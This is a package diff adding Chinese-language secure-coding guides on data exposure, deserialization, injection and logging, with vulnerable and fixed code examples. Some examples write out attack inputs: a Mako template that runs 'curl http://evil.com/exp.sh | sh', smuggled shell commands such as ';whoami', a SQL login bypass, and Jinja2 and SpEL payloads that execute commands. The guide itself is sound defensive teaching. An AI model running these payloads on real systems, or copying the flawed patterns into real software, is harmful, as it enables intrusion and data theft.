@blueking/bkui-knowledge 0.0.1-beta.1 → 0.0.1-beta.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +166 -58
- package/bin/bkui-knowledge.js +229 -86
- package/knowledge/manifest.json +38 -1
- package/knowledge/skills/.template/README.md +1 -1
- package/knowledge/skills/bk-security-redlines/SKILL.md +47 -0
- package/knowledge/skills/bk-security-redlines/references/auth-check.md +73 -0
- package/knowledge/skills/bk-security-redlines/references/data-encryption.md +78 -0
- package/knowledge/skills/bk-security-redlines/references/input-validation.md +96 -0
- package/knowledge/skills/bk-skill-creator/SKILL.md +37 -0
- package/knowledge/skills/bk-skill-creator/references/common-mistakes.md +43 -0
- package/knowledge/skills/bk-skill-creator/references/quick-start.md +42 -0
- package/knowledge/skills/bk-skill-creator/references/skill-checklist.md +93 -0
- package/knowledge/skills/bk-skill-creator/references/structure-guide.md +88 -0
- package/knowledge/skills/bk-skill-creator/references/writing-tips.md +153 -0
- package/knowledge/skills/bkui-quick-start/SKILL.md +52 -0
- package/knowledge/skills/bkui-quick-start/references/components-list.md +17 -0
- package/knowledge/skills/bkui-quick-start/references/skills-index.md +26 -0
- package/knowledge/skills/external/vue-skills/LICENSE +21 -0
- package/knowledge/skills/external/vue-skills/README.md +69 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/SKILL.md +42 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/codeactions-save-performance.md +79 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/data-attributes-config.md +74 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/deep-watch-numeric.md +102 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/define-model-update-event.md +79 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/duplicate-plugin-detection.md +102 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/fallthrough-attributes.md +63 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/hmr-vue-ssr.md +124 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/module-resolution-bundler.md +81 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/pinia-store-mocking.md +159 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/script-setup-jsdoc.md +85 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/strict-css-modules.md +68 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/unplugin-auto-import-conflicts.md +97 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/volar-3-breaking-changes.md +66 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-directive-comments.md +73 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-router-typed-params.md +81 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-tsc-strict-templates.md +69 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/with-defaults-union-types.md +102 -0
- package/knowledge/skills/web-security-guide/SKILL.md +48 -0
- package/knowledge/skills/web-security-guide/references/access-control.md +123 -0
- package/knowledge/skills/web-security-guide/references/auth-session.md +99 -0
- package/knowledge/skills/web-security-guide/references/csrf.md +59 -0
- package/knowledge/skills/web-security-guide/references/data-exposure.md +108 -0
- package/knowledge/skills/web-security-guide/references/deserialization.md +59 -0
- package/knowledge/skills/web-security-guide/references/injection.md +357 -0
- package/knowledge/skills/web-security-guide/references/logging-monitoring.md +47 -0
- package/knowledge/skills/web-security-guide/references/security-config.md +73 -0
- package/knowledge/skills/web-security-guide/references/ssrf.md +55 -0
- package/knowledge/skills/web-security-guide/references/xss.md +134 -0
- package/package.json +3 -3
- package/server/mcp-core.js +48 -33
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
# 敏感数据泄漏
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 敏感数据泄漏(Sensitive Data Exposure) 是指应用在传输、存储或处理过程中未正确保护敏感信息,导致攻击者能够直接获取或间接推测出这些数据。
|
|
6
|
+
- 常见敏感信息包括:
|
|
7
|
+
- 用户身份凭据(用户名、密码、Token、Session ID、JWT)
|
|
8
|
+
- 个人身份信息(身份证号、手机号、邮箱、银行卡号)
|
|
9
|
+
- 系统敏感配置(数据库密码、API Key、私钥、证书)
|
|
10
|
+
- 漏洞的本质是 缺乏加密、脱敏、访问控制或最小化原则。
|
|
11
|
+
|
|
12
|
+
## 2. 漏洞影响
|
|
13
|
+
|
|
14
|
+
- 账号接管:用户凭证或 Token 泄露 → 伪造请求控制账号。
|
|
15
|
+
- 身份冒充:Session ID、JWT 泄露 → 跳过认证,直接操作业务。
|
|
16
|
+
- 数据泄露:手机号、身份证号、银行卡号泄露 → 触发合规风险(GDPR/等保)。
|
|
17
|
+
- 横向攻击:Redis/MySQL/消息队列口令泄露 → 攻击者可扩展为 RCE、数据篡改。
|
|
18
|
+
|
|
19
|
+
## 3. 典型业务场景
|
|
20
|
+
|
|
21
|
+
### 3.1 接口返回中包含敏感字段
|
|
22
|
+
|
|
23
|
+
```python
|
|
24
|
+
# Bad Code:
|
|
25
|
+
return {
|
|
26
|
+
"username": user.username,
|
|
27
|
+
"email": user.email,
|
|
28
|
+
"password": user.password,
|
|
29
|
+
"id_card": user.id_card
|
|
30
|
+
}
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
```python
|
|
34
|
+
# Good Code:
|
|
35
|
+
# 仅返回必要字段,并对敏感信息做脱敏处理
|
|
36
|
+
return {
|
|
37
|
+
"username": user.username,
|
|
38
|
+
"email": user.email,
|
|
39
|
+
"id_card": mask_id_card(user.id_card) # 仅显示部分
|
|
40
|
+
}
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### 3.2 配置文件中硬编码密钥 / Token
|
|
44
|
+
|
|
45
|
+
```python
|
|
46
|
+
# Bad Code:
|
|
47
|
+
# 配置中硬编码敏感密钥
|
|
48
|
+
DB_PASSWORD = "123456"
|
|
49
|
+
SECRET_KEY = "myjwt-secret"
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
```python
|
|
53
|
+
# Good Code:
|
|
54
|
+
# 使用环境变量或安全配置中心(KMS、Vault)
|
|
55
|
+
import os
|
|
56
|
+
|
|
57
|
+
DB_PASSWORD = os.getenv("DB_PASSWORD")
|
|
58
|
+
SECRET_KEY = os.getenv("JWT_SECRET")
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### 3.3 未使用 HTTPS 或 TLS 加密
|
|
62
|
+
|
|
63
|
+
- 请求用户登录或注册接口走 http,传输过程被中间人拦截。
|
|
64
|
+
- 与 Redis、MySQL 交互不启用 SSL。
|
|
65
|
+
|
|
66
|
+
```nginx
|
|
67
|
+
# Bad Code:
|
|
68
|
+
# Nginx 配置,未启用 HTTPS
|
|
69
|
+
server {
|
|
70
|
+
listen 80;
|
|
71
|
+
server_name example.com;
|
|
72
|
+
}
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
```nginx
|
|
76
|
+
# Good Code:
|
|
77
|
+
# 强制 HTTPS,启用 TLS1.2+
|
|
78
|
+
server {
|
|
79
|
+
listen 443 ssl;
|
|
80
|
+
server_name example.com;
|
|
81
|
+
|
|
82
|
+
ssl_certificate /etc/ssl/cert.pem;
|
|
83
|
+
ssl_certificate_key /etc/ssl/key.pem;
|
|
84
|
+
ssl_protocols TLSv1.2 TLSv1.3;
|
|
85
|
+
}
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
## 4. 漏洞修复方案
|
|
89
|
+
|
|
90
|
+
### 4.1 【必须】接入自动化检测工具(如 CodeCC)
|
|
91
|
+
|
|
92
|
+
- 对代码、配置文件、日志进行扫描,发现硬编码的密码、Token、私钥等敏感信息。
|
|
93
|
+
|
|
94
|
+
### 4.2 【必须】禁止 DEBUG 模式上线
|
|
95
|
+
|
|
96
|
+
- 生产环境关闭调试模式,避免异常栈和环境变量暴露。
|
|
97
|
+
|
|
98
|
+
### 4.3 【必须】禁止明文 Cookie、未加密连接
|
|
99
|
+
|
|
100
|
+
- Session Cookie 设置 Secure + HttpOnly,禁止 HTTP 明文传输。
|
|
101
|
+
|
|
102
|
+
### 4.4 【必须】使用字段白名单,仅返回必要业务字段
|
|
103
|
+
|
|
104
|
+
- 响应接口仅返回必要数据,避免冗余敏感字段泄露。
|
|
105
|
+
|
|
106
|
+
### 4.5 【建议】所有用户相关请求强制 HTTPS
|
|
107
|
+
|
|
108
|
+
- 对 Web/APP/小程序接口启用 TLS,全站 HTTPS。
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
# 反序列化漏洞
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 反序列化漏洞是指应用程序在反序列化不可信数据时,攻击者通过构造恶意序列化对象,触发类的特殊方法(如构造器、readObject()、`__wakeup()` 等),最终执行任意代码或逻辑。
|
|
6
|
+
- 本质:反序列化时,程序会自动实例化对象并调用其中的方法,攻击者利用可控输入触发危险 Gadget 链。
|
|
7
|
+
|
|
8
|
+
## 2. 漏洞影响
|
|
9
|
+
|
|
10
|
+
- 远程代码执行(RCE):攻击者可执行系统命令,直接控制服务器。
|
|
11
|
+
- 越权与逻辑绕过:绕过认证、加载恶意配置或篡改缓存。
|
|
12
|
+
- 拒绝服务(DoS):构造超大对象、循环引用导致内存耗尽。
|
|
13
|
+
- 供应链攻击:利用第三方库(如 Commons-Collections)中的 Gadget 链触发漏洞。
|
|
14
|
+
|
|
15
|
+
## 3. 典型业务场景
|
|
16
|
+
|
|
17
|
+
### 3.1 Java 反序列化(Commons-Collections 链)
|
|
18
|
+
|
|
19
|
+
- Java 原生 ObjectInputStream.readObject() 在加载 Commons-Collections、Spring 等常见库时,可能被攻击者构造链条利用,最终执行 Runtime.exec()。
|
|
20
|
+
|
|
21
|
+
### 3.2 Python pickle.loads() 处理用户输入
|
|
22
|
+
|
|
23
|
+
```python
|
|
24
|
+
import pickle
|
|
25
|
+
data = request.GET.get("data")
|
|
26
|
+
obj = pickle.loads(data) # 漏洞点:可控输入
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
- 攻击者可通过恶意 pickle 数据包执行任意代码。
|
|
30
|
+
|
|
31
|
+
### 3.3 PHP unserialize() 外部数据可控
|
|
32
|
+
|
|
33
|
+
```php
|
|
34
|
+
$data = $_POST["data"];
|
|
35
|
+
$obj = unserialize($data); // 漏洞点:可控输入
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
- 如果项目中存在魔术方法 `__wakeup()` / `__destruct()`,攻击者可利用反序列化链实现命令执行或文件删除。
|
|
39
|
+
|
|
40
|
+
## 4. 漏洞修复方案
|
|
41
|
+
|
|
42
|
+
### 4.1 【必须】禁用不安全反序列化接口(pickle/unserialize)
|
|
43
|
+
|
|
44
|
+
- 严禁对用户可控数据直接调用 pickle.loads()、unserialize()、ObjectInputStream.readObject()。
|
|
45
|
+
|
|
46
|
+
### 4.2 【必须】使用 JSON/Protobuf 等安全格式
|
|
47
|
+
|
|
48
|
+
- 替代不安全的二进制序列化方式,使用 JSON、Protobuf、MessagePack 等明确定义字段的安全数据交换格式。
|
|
49
|
+
|
|
50
|
+
### 4.3 【必须】引入白名单类/安全库(Kryo、Jackson)
|
|
51
|
+
|
|
52
|
+
- 仅允许反序列化可信类型(白名单);使用支持安全模式的库,例如:
|
|
53
|
+
- Jackson 启用 enableDefaultTyping(false),避免自动反序列化任意类。
|
|
54
|
+
- Kryo 提供类注册机制,限制可反序列化对象。
|
|
55
|
+
|
|
56
|
+
### 4.4 【建议】反序列化数据前签名校验
|
|
57
|
+
|
|
58
|
+
- 对序列化数据增加 HMAC/数字签名 校验,确保数据未被篡改。
|
|
59
|
+
- 仅反序列化可信来源的数据,避免跨域或外部传输的直接反序列化。
|
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
# 注入漏洞(SQL/命令/模板注入/表达式注入等)
|
|
2
|
+
|
|
3
|
+
## 1. SQL注入
|
|
4
|
+
|
|
5
|
+
### 1.1 漏洞原理
|
|
6
|
+
|
|
7
|
+
- SQL注入(SQL Injection) 是指应用程序在构造 SQL 查询语句时,将用户输入直接拼接进 SQL 字符串,攻击者可通过构造恶意输入改变 SQL 执行逻辑,达到绕过认证、窃取数据、篡改删除数据等目的。
|
|
8
|
+
- **本质是**:拼接 + 用户可控输入 + 无转义或参数绑定。
|
|
9
|
+
- 使用ORM并不代表绝对安全,参数绑定和类型校验是第一防线。
|
|
10
|
+
|
|
11
|
+
### 1.2 漏洞影响
|
|
12
|
+
|
|
13
|
+
- 绕过登录验证:' OR 1=1 --
|
|
14
|
+
- 敏感信息泄露:获取用户、密码、身份证、手机号等
|
|
15
|
+
- 数据篡改/删除:UPDATE user SET admin=1 WHERE id=1
|
|
16
|
+
- 远程命令执行(部分数据库):使用load_file()、xp_cmdshell等函数
|
|
17
|
+
- 持久化入侵入口:如植入 WebShell 的写入路径
|
|
18
|
+
|
|
19
|
+
### 1.3 典型业务场景
|
|
20
|
+
|
|
21
|
+
#### 1.3.1 Python项目中的高发点
|
|
22
|
+
|
|
23
|
+
##### 1.3.1.1 原生拼接SQL
|
|
24
|
+
|
|
25
|
+
- 使用 cursor.execute("select \* from user where id = %s" % uid)
|
|
26
|
+
- 漏洞示例代码如下:
|
|
27
|
+
|
|
28
|
+
```python
|
|
29
|
+
# Flask 中直接拼接用户输入
|
|
30
|
+
@app.route("/user")
|
|
31
|
+
def get_user():
|
|
32
|
+
username = request.args.get("username")
|
|
33
|
+
sql = f"SELECT * FROM users WHERE username = '{username}'"
|
|
34
|
+
return db.execute(sql) # 漏洞点:用户可控 + 拼接
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
##### 1.3.1.2 .extra() 接口
|
|
38
|
+
|
|
39
|
+
- CVE-2025-4517:Django ORM 的 SQL 扩展接口
|
|
40
|
+
- 漏洞示例代码如下:
|
|
41
|
+
|
|
42
|
+
```python
|
|
43
|
+
User.objects.extra(where=["username='%s'" % username])
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
##### 1.3.1.3 Q 对象错误使用
|
|
47
|
+
|
|
48
|
+
- 字段名或值可控时拼接错误
|
|
49
|
+
|
|
50
|
+
##### 1.3.1.4 ORM绕过模型约束
|
|
51
|
+
|
|
52
|
+
- .raw()、.execute()使用用户输入
|
|
53
|
+
|
|
54
|
+
##### 1.3.1.5 ORM内联字符串
|
|
55
|
+
|
|
56
|
+
- Model.objects.filter(name="admin' or 1=1")
|
|
57
|
+
|
|
58
|
+
### 1.4 漏洞修复方案
|
|
59
|
+
|
|
60
|
+
#### 1.4.1 【必须】参数化查询
|
|
61
|
+
|
|
62
|
+
- cursor.execute("SELECT \* FROM user WHERE id = %s", [uid])
|
|
63
|
+
|
|
64
|
+
#### 1.4.2 【建议】ORM模型约束
|
|
65
|
+
|
|
66
|
+
- 使用 Django ORM 正确方式:User.objects.get(id=uid)
|
|
67
|
+
- 使用 raw 时绑定参数: User.objects.raw("SELECT \* FROM user WHERE username = %s", [uname])
|
|
68
|
+
|
|
69
|
+
#### 1.4.3 【建议】白名单限制
|
|
70
|
+
|
|
71
|
+
- 字段名、排序字段等应做白名单限制
|
|
72
|
+
|
|
73
|
+
#### 1.4.4 【建议】类型强校验
|
|
74
|
+
|
|
75
|
+
- int(uid)、re.match(r"^\w+$", username)
|
|
76
|
+
|
|
77
|
+
#### 1.4.5 【必须】使用框架提供API
|
|
78
|
+
|
|
79
|
+
- ORM语法/QueryBuilder 避免 raw SQL
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## 2. 命令注入
|
|
84
|
+
|
|
85
|
+
### 2.1 漏洞原理
|
|
86
|
+
|
|
87
|
+
- 命令注入(Command Injection)是指应用程序调用系统命令时,攻击者通过构造恶意参数将系统命令注入执行环境中,最终导致远程命令执行(RCE)。
|
|
88
|
+
- **本质是**:将用户可控参数拼接进 shell 命令、subprocess、os.system 等接口,未做有效校验与隔离,造成攻击者代码被执行。
|
|
89
|
+
- 蓝鲸平台和DevOps场景中,任务下发、脚本执行等均是高风险点,务必提前防御
|
|
90
|
+
|
|
91
|
+
### 2.2 漏洞影响
|
|
92
|
+
|
|
93
|
+
- 远程命令执行(RCE):攻击者可执行任意系统命令,如:whoami、curl、bash -i
|
|
94
|
+
- 敏感数据泄露:读取文件 cat /etc/passwd
|
|
95
|
+
- 权限提升:植入提权脚本
|
|
96
|
+
- 横向移动/内网扫描:如利用 ping、curl 对腾讯内网探测
|
|
97
|
+
- 恶意植入:写入WebShell、启动反弹Shell、部署后门
|
|
98
|
+
|
|
99
|
+
### 2.3 典型业务场景
|
|
100
|
+
|
|
101
|
+
#### 2.3.1 Python项目中的高发点
|
|
102
|
+
|
|
103
|
+
##### 2.3.1.1 拼接命令
|
|
104
|
+
|
|
105
|
+
- 危险函数:os.system()、os.popen()
|
|
106
|
+
- URL参数传入命令拼接调用
|
|
107
|
+
- 漏洞示例代码如下:
|
|
108
|
+
|
|
109
|
+
```python
|
|
110
|
+
import os
|
|
111
|
+
user = request.args.get("user")
|
|
112
|
+
os.system("id " + user)
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
##### 2.3.1.2 subprocess shell=True
|
|
116
|
+
|
|
117
|
+
- 危险函数:subprocess.call()、check_output(),shell=True 极易出问题
|
|
118
|
+
- 漏洞示例代码如下:
|
|
119
|
+
|
|
120
|
+
```python
|
|
121
|
+
import subprocess
|
|
122
|
+
subprocess.call("ls " + filename, shell=True) # filename=;reboot
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
##### 2.3.1.3 调用Job快速命令接口
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
cmd=;whoami
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### 2.4 漏洞修复方案
|
|
132
|
+
|
|
133
|
+
#### 2.4.1 【必须】禁止使用 shell=True 拼接用户输入
|
|
134
|
+
|
|
135
|
+
```python
|
|
136
|
+
# Bad Code: 拼接传入
|
|
137
|
+
subprocess.call("ls " + filename, shell=True)
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
```python
|
|
141
|
+
# Good Code: 参数数组传入
|
|
142
|
+
subprocess.run(["ls", filename])
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
#### 2.4.2 【必须】白名单校验 + 参数限定
|
|
146
|
+
|
|
147
|
+
```python
|
|
148
|
+
def run_safe(cmd):
|
|
149
|
+
ALLOWED_CMDS = ['ls', 'whoami', 'uptime']
|
|
150
|
+
if cmd not in ALLOWED_CMDS:
|
|
151
|
+
abort(403)
|
|
152
|
+
subprocess.run([cmd])
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
#### 2.4.3 【必须】使用 shlex.quote() 防止注入
|
|
156
|
+
|
|
157
|
+
```python
|
|
158
|
+
import shlex
|
|
159
|
+
filename = request.args.get("file")
|
|
160
|
+
safe_filename = shlex.quote(filename)
|
|
161
|
+
os.system("cat " + safe_filename)
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
#### 2.4.4 【建议】不使用系统命令,可用内建函数替代
|
|
165
|
+
|
|
166
|
+
```python
|
|
167
|
+
# Bad Code:
|
|
168
|
+
os.system("ls /tmp")
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
```python
|
|
172
|
+
# Good Code:
|
|
173
|
+
import os
|
|
174
|
+
print(os.listdir("/tmp"))
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## 3. 模版注入
|
|
180
|
+
|
|
181
|
+
### 3.1 漏洞原理
|
|
182
|
+
|
|
183
|
+
- 模板注入漏洞(Template Injection) 是指应用程序将用户输入错误地传入模板引擎(如Jinja2、Mako)进行渲染,攻击者可通过构造特定语法,使模板执行未授权的表达式、访问敏感变量或执行命令,造成敏感数据泄露或远程命令执行。
|
|
184
|
+
- 用户可控的输入被传入 Template().render()、render_template_string()、tpl.render() 等模板接口
|
|
185
|
+
- 模板引擎具备强表达式能力(如支持 `__import__`、.system() 等调用)
|
|
186
|
+
|
|
187
|
+
### 3.2 漏洞影响
|
|
188
|
+
|
|
189
|
+
- 信息泄露:获取服务端变量、配置、密钥
|
|
190
|
+
- 任意代码执行:利用 `__import__`('os').system() 远程命令执行
|
|
191
|
+
- 横向渗透:读取JWT/Session/内部接口token进一步攻击
|
|
192
|
+
- SSRF:构造请求内部API获取敏感资源
|
|
193
|
+
- 持久化后门:植入恶意模板语句、替换配置文件
|
|
194
|
+
|
|
195
|
+
### 3.3 典型业务场景
|
|
196
|
+
|
|
197
|
+
#### 3.3.1 Python项目中的高发点
|
|
198
|
+
|
|
199
|
+
##### 3.3.1.1 Jinja2模版
|
|
200
|
+
|
|
201
|
+
- 有沙箱,默认未开启
|
|
202
|
+
- 支持任意Python对象
|
|
203
|
+
- 漏洞示例代码如下:
|
|
204
|
+
|
|
205
|
+
```python
|
|
206
|
+
from flask import Flask, request, render_template_string
|
|
207
|
+
app = Flask(__name__)
|
|
208
|
+
|
|
209
|
+
@app.route("/hello")
|
|
210
|
+
def hello():
|
|
211
|
+
name = request.args.get("name")
|
|
212
|
+
return render_template_string("Hello {{ " + name + " }}")
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
- 用户访问 /hello?name=`__import__`('os').popen('id').read() 将触发命令执行。
|
|
216
|
+
|
|
217
|
+
##### 3.3.1.2 Mako模版
|
|
218
|
+
|
|
219
|
+
- 无沙箱
|
|
220
|
+
- 可嵌入Python代码块
|
|
221
|
+
- 漏洞示例代码如下:
|
|
222
|
+
|
|
223
|
+
```python
|
|
224
|
+
from mako.template import Template
|
|
225
|
+
|
|
226
|
+
tpl_string = request.POST.get("tpl") # 用户可控
|
|
227
|
+
tpl = Template(tpl_string)
|
|
228
|
+
tpl.render(context)
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
- 攻击者可以构造恶意模版:
|
|
232
|
+
|
|
233
|
+
```shell
|
|
234
|
+
<% import os %>
|
|
235
|
+
<% os.system('curl http://evil.com/exp.sh | sh') %>
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
##### 3.3.1.3 Django - Template.render() 使用不当
|
|
239
|
+
|
|
240
|
+
- 有沙箱,默认开启
|
|
241
|
+
- 不可执行Python代码块
|
|
242
|
+
- 漏洞示例代码如下:
|
|
243
|
+
|
|
244
|
+
```python
|
|
245
|
+
from django.template import Template
|
|
246
|
+
t = Template(user_input) # 用户可控内容
|
|
247
|
+
t.render(Context({}))
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
- 攻击者可通过传入 {{ settings.SECRET_KEY }} 获取服务密钥
|
|
251
|
+
|
|
252
|
+
### 3.4 漏洞修复方案
|
|
253
|
+
|
|
254
|
+
#### 3.4.1 【必须】永远禁止用户输入作为模板内容渲染
|
|
255
|
+
|
|
256
|
+
```python
|
|
257
|
+
tpl = Template("固定模板") # 模板由系统定义
|
|
258
|
+
tpl.render({"username": safe_input})
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
#### 3.4.2 【必须】启用 Jinja2 沙箱环境(SandboxedEnvironment)
|
|
262
|
+
|
|
263
|
+
```python
|
|
264
|
+
from jinja2.sandbox import SandboxedEnvironment
|
|
265
|
+
env = SandboxedEnvironment()
|
|
266
|
+
tpl = env.from_string("Welcome {{ username }}")
|
|
267
|
+
tpl.render({"username": clean(user_input)})
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
#### 3.4.3 【必须】Mako模板禁用 Python 表达式块
|
|
271
|
+
|
|
272
|
+
- 禁止 <%, <%python>, <%! 等标签使用
|
|
273
|
+
- 建议使用字符串格式替代,例如 {{ variable }} 格式映射到预定义变量集合
|
|
274
|
+
|
|
275
|
+
#### 3.4.4 【必须】白名单替换机制 + 参数校验
|
|
276
|
+
|
|
277
|
+
- 用户只能配置预定义变量,如 {{ hostname }}, {{ alarm_name }}
|
|
278
|
+
- 所有变量替换前进行正则匹配、长度控制、字符黑名单过滤
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## 4. 表达式注入
|
|
283
|
+
|
|
284
|
+
### 4.1 漏洞原理
|
|
285
|
+
|
|
286
|
+
- 表达式注入是指应用使用 动态表达式语言/引擎(如 Spring EL、OGNL、SpEL、EL、MVEL 等)对外部输入进行拼接或执行时,攻击者通过构造恶意表达式,实现任意方法调用或绕过业务逻辑。
|
|
287
|
+
- 典型原因是 用户输入被直接传递给表达式解析器,且未做过滤/上下文隔离。
|
|
288
|
+
|
|
289
|
+
### 4.2 漏洞影响
|
|
290
|
+
|
|
291
|
+
- 任意代码执行:攻击者可调用系统类(如 java.lang.Runtime)执行系统命令。
|
|
292
|
+
- 认证绕过:通过伪造条件表达式,绕过鉴权逻辑(如 #{1==1})。
|
|
293
|
+
- 数据泄露:直接读取系统属性、配置文件或数据库内容。
|
|
294
|
+
- 持久化攻击链:结合 SSRF、文件上传、反序列化,形成复合攻击链。
|
|
295
|
+
|
|
296
|
+
### 4.3 典型业务场景
|
|
297
|
+
|
|
298
|
+
#### 4.3.1 Java 项目中的高发点
|
|
299
|
+
|
|
300
|
+
##### 4.3.1.1 Spring EL(SpEL)
|
|
301
|
+
|
|
302
|
+
- 在 SpringMVC 或 Spring Boot 中,使用 @Value、ExpressionParser 或模板渲染时,未限制表达式来源。
|
|
303
|
+
|
|
304
|
+
```java
|
|
305
|
+
// Bad Code:
|
|
306
|
+
ExpressionParser parser = new SpelExpressionParser();
|
|
307
|
+
String expr = request.getParameter("expr"); // 用户可控
|
|
308
|
+
Object value = parser.parseExpression(expr).getValue();
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
- 攻击者输入:${T(java.lang.Runtime).getRuntime().exec('id')}
|
|
312
|
+
|
|
313
|
+
##### 4.3.1.2 OGNL(Struts2 典型)
|
|
314
|
+
|
|
315
|
+
- Struts2 的 EL 解析器曾爆发多次 RCE 漏洞(S2-045、S2-057 等),攻击者通过构造 #context['xwork.MethodAccessor.denyMethodExecution']=false 绕过限制。
|
|
316
|
+
|
|
317
|
+
##### 4.3.1.3 JSP EL / Thymeleaf
|
|
318
|
+
|
|
319
|
+
- JSP 的 ${...} 表达式或 Thymeleaf 模板引擎默认会解析动态对象,若变量可控则可能引入漏洞。
|
|
320
|
+
|
|
321
|
+
#### 4.3.2 其他场景
|
|
322
|
+
|
|
323
|
+
- MVEL 表达式:部分规则引擎(Drools)使用 MVEL,若表达式从外部输入直接注入则可执行恶意方法。
|
|
324
|
+
- 业务 DSL:企业内部二次封装的"动态计算规则"往往调用底层表达式引擎,缺乏白名单与隔离。
|
|
325
|
+
|
|
326
|
+
### 4.4 漏洞修复方案
|
|
327
|
+
|
|
328
|
+
#### 4.4.1 【必须】禁止用户输入直接拼接表达式
|
|
329
|
+
|
|
330
|
+
- 外部输入不可作为表达式直接传递给解析器。
|
|
331
|
+
|
|
332
|
+
```java
|
|
333
|
+
// Good Code:
|
|
334
|
+
String expr = "price * taxRate"; // 来自预定义规则,不是用户输入
|
|
335
|
+
parser.parseExpression(expr).getValue(context);
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
#### 4.4.2 【必须】启用安全模式/沙箱
|
|
339
|
+
|
|
340
|
+
- 对表达式引擎启用沙箱,禁止访问敏感类(Runtime, System 等)。
|
|
341
|
+
- Spring EL 可通过 StandardEvaluationContext#setPropertyAccessors 定义白名单。
|
|
342
|
+
|
|
343
|
+
#### 4.4.3 【必须】白名单机制
|
|
344
|
+
|
|
345
|
+
- 仅允许有限的表达式语法或变量(如数学运算、简单函数),拒绝访问任意类/方法。
|
|
346
|
+
|
|
347
|
+
```java
|
|
348
|
+
// Good Code: (伪代码)
|
|
349
|
+
if (!expr.matches("^[0-9+\\-*/() ]+$")) {
|
|
350
|
+
throw new SecurityException("非法表达式");
|
|
351
|
+
}
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
#### 4.4.4 【建议】替代方案
|
|
355
|
+
|
|
356
|
+
- 业务规则尽量使用 DSL/枚举/条件语句,而非开放的通用表达式解析。
|
|
357
|
+
- 对必须动态化的场景,应进行"编译前静态扫描 + 运行时沙箱"双重防护。
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
# 日志与监控不足(安全审计缺失)
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 日志与监控不足(Inadequate Logging & Monitoring)是指应用系统在设计和实现时,未对 关键安全事件(如登录失败、越权尝试、敏感操作)进行日志记录,或记录不完整,导致无法在攻击发生后快速检测、响应和溯源。
|
|
6
|
+
- 部分系统虽然记录日志,但 日志中包含敏感信息(密码、密钥、Token、身份证号),导致二次泄漏风险。
|
|
7
|
+
- 如果缺少 实时监控与告警,即使日志记录了攻击行为,也可能因为无人关注而错失防御时机。
|
|
8
|
+
|
|
9
|
+
## 2. 漏洞影响
|
|
10
|
+
|
|
11
|
+
- 攻击无法发现:SQL 注入、XSS、暴力破解等攻击尝试未被记录,导致安全事件长时间潜伏。
|
|
12
|
+
- 取证困难:事后调查时缺乏完整日志,无法还原攻击路径。
|
|
13
|
+
- 敏感数据泄漏:日志中记录明文密码、Token、身份证号等,进一步放大安全风险。
|
|
14
|
+
- 合规风险:未满足合规要求(如 GDPR、等保 2.0、ISO 27001)中的安全审计与追踪要求。
|
|
15
|
+
|
|
16
|
+
## 3. 典型业务场景
|
|
17
|
+
|
|
18
|
+
### 3.1 登录失败/越权访问无日志记录
